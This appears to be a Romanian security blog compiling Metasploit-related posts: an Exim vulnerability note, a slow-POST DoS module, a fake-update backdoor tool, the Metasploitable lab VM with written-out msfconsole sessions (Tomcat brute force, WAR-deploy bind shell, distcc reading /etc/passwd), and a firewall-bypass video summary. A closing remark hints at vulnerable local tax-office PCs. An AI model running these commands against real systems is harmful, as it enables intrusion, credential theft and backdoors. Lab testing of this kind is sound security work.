via : pyth0n3

In Debian Lenny vine instalata versiunea 4.69 de default
Dupa ce vine configurat serviciul rămîne vulnerabil la un atac remote
Ce se întîmplă în cîteva cuvinte.
Vine folosita o tehnica de overflow , nu e una clasica
Vine creat un header email foarte mare care reușește sa rescrie variabilele asociate la MAIL
FROM , așadar poate fi executat cod intrun mod mult mai eficace asupra sistemului operativ
Am incercat sa blochez exploit-ul folosind o opțiune în fișierul de configurare
log_selector = -rejected_header , oricum nu a ajutat la nimic
Trebuie facut update
In cazul in care vine compilata ultima versiune este vulnerabila la local privilege escalation
Exista update si pt asta
Daca vine instalat din sursa ar fi bine sa fie compilat cu optiunea ALT_CONFIG_ROOT_ONLY
Note: Diverse alte sisteme sunt vulnerabile

http://www.metasploit.com/redmine/attachments/825/strawman_post_dos.rb

Description

This module creates a large number of concurrent POST requests to a server. By slowing down the sending of the POST data the attacker occupies sockets on the server therefore preventing legitimate requests.

Requires:

RHOST – The target server
URI – The target form to POST to
POST – The minimum POST data

Prietenul sickness a terminat în cele din urmă tutorialul despre care vorbea acum câteva zile.
Nu prea sunt multe de spus aşa că vizionare plăcută.

What is this?
The first release of metasploit-fakeUpdate (MFU). This is a bash script to automate ‘Manning in the Middle’ to ‘pwn’ whoever it can, via giving them a “Fake Update” screen. The attack is transparent (allowing the target to afterwards surf the inter-webs once they have been exploited!), and the payload is either SBD (Secure BackDoor – similar to netcat!) or VNC (remote desktop).

How does this work?
> Sets up a DHCP and web server
> Creates an exploit with metasploit.
> Waits for the target to connect, download and run the exploit.
> Once successfully exploited it grants access to allow the target to surf the inter-webs.
> Uploads a backdoor; SBD or VNC, via the exploit
> The attacker has the option to run a few ‘sniffing’ programs (from the dnsiff suite) to watch what the target does!

One of the questions that we often hear is “What systems can i use to test against?” Based on this, we thought it would be a good idea throw together an exploitable VM that you can use for testing purposes.

Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image. A number of vulnerable packages are included, including an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older mysql.

You can use most VMware products to run it, and you’ll want to make sure it’s configured for Host-only networking unless it’s in your lab – no need to throw another vulnerable machine on the corporate network. It’s configured in non-persistent-disk mode, so you can simply reset it if you accidentally ‘rm -rf’ it.

Here are a couple of the things you can do with it in msfconsole:

Using the ‘Tomcat Application Manager Login Utility’ provided by MC, Matteo Cantoni, and jduck, you can test credentials against a Tomcat application (assuming the manager component is enabled):

msf > use scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set RHOSTS metasploitable
msf auxiliary(tomcat_mgr_login) > set RPORT 8180
msf auxiliary(tomcat_mgr_login) > exploit

…
[*] 10.0.0.33:8180 – Trying username:’tomcat’ with password:’role1′
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘tomcat’
[*] 10.0.0.33:8180 – Trying username:’tomcat’ with password:’root’
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘tomcat’
[*] 10.0.0.33:8180 – Trying username:’tomcat’ with password:’tomcat’
[+] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login ‘tomcat’ : ‘tomcat’
[*] 10.0.0.33:8180 – Trying username:’both’ with password:’admin’

Woot! That’s a valid (tomcat:tomcat) login. – Now that we have valid credentials, let’s try jduck’s Tomcat Manager Application Deployer (tomcat_mgr_deploy) against it:

msf > use multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set RHOST metasploitable
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
msf exploit(tomcat_mgr_deploy) > set PAYLOAD linux/x86/shell_bind_tcp
msf exploit(tomcat_mgr_deploy) > exploit

[*] Started bind handler
[*] Attempting to automatically select a target…
[*] Automatically selected target “Linux X86”
[*] Uploading 1612 bytes as HJpy1H.war …
[*] Executing /HJpy1H/EpKaNLsCQUUjo.jsp…
[*] Undeploying HJpy1H …
[*] Sending stage (36 bytes) to metasploitable
[*] Command shell session 1 opened (10.0.0.11:39497 -> 10.0.0.33:4444) at 2010-05-19 11:53:12 -0500

Sweet! And… that’s a shell, facilitated by a malcious .WAR file. The distcc_exec module is also a nice exploit to test with. In this case, we’ll use a command payload to ‘cat /etc/passwd’:

use unix/misc/distcc_exec
msf exploit(distcc_exec) > set PAYLOAD cmd/unix/generic
msf exploit(distcc_exec) > set RHOST metasploitable
msf exploit(distcc_exec) > set CMD ‘cat /etc/passwd’
msf exploit(distcc_exec) > exploit
connecting…

[*] stdout: root:x:0:0:root:/root:/bin/bash
[*] stdout: daemon:x:1:1:daemon:/usr/sbin:/bin/sh
…

Code exec!

It’s great fun to run Express against it too. A single bruteforce of ssh or telnet will return 5 sessions (from the 5 different weak accounts on the VM):

Once we have an open session we can run “Evidence Collection” and pick up any ssh keyfiles from the user accounts we gained access to. (Note that you can do this from the console too, manually – spawn a shell and check the .ssh directories). Now when we run another bruteforce (with ‘known’ credentials), you can see that it uses the SSH keyfiles to obtain access to the box:

To download Metasploitable, you can pick up the torrent on the Express Community site. If you are an Express customer, you can pick up a direct HTTP download from the Customer Center.

Source : http://blog.metasploit.com/2010/05/introducing-metasploitable.html

Nu cred ca mai este necesar sa vorbesc despre Metasploit .Toata lumea stie ce este.
Sunt convins ca multi care au incercat metasploit au vazut ca rezultatul este fara success atunci cand windows firewall este up si porturile sunt filtrate.
Ieri am gasit pe securitytube solutia pentru voi .

“A lot of times the victim machine may have windows firewall turned on thus making exploitation of vulnerable services on the victim tough. In this video, we will look at how to workaround this restriction. The author first lures the victim to view his malicious webpage which is a riddled with a browser exploit. Once the victim gets compromised, the attacker notices that he still only has privileges of the local user. He now needs to escalate his privilege by exploiting a system program or service. To accomplish this he creates an SSH tunnel through the firewall to his machine. Using this tunnel and port forwarding he compromises the SMB service running on the victim which has privileges of the Local System. Once his privileges are escalated he enables the Remote Desktop service, creates a new user and connects to the victim machine. Game Over! ”

P.S : pc-urile celor de la FISC ( localitate la mine ) au asa ceva , trageti voi concluzia.

Video : http://securitytube.net/Hacking-through-the-Windows-Firewall-using-Metasploit-video.aspx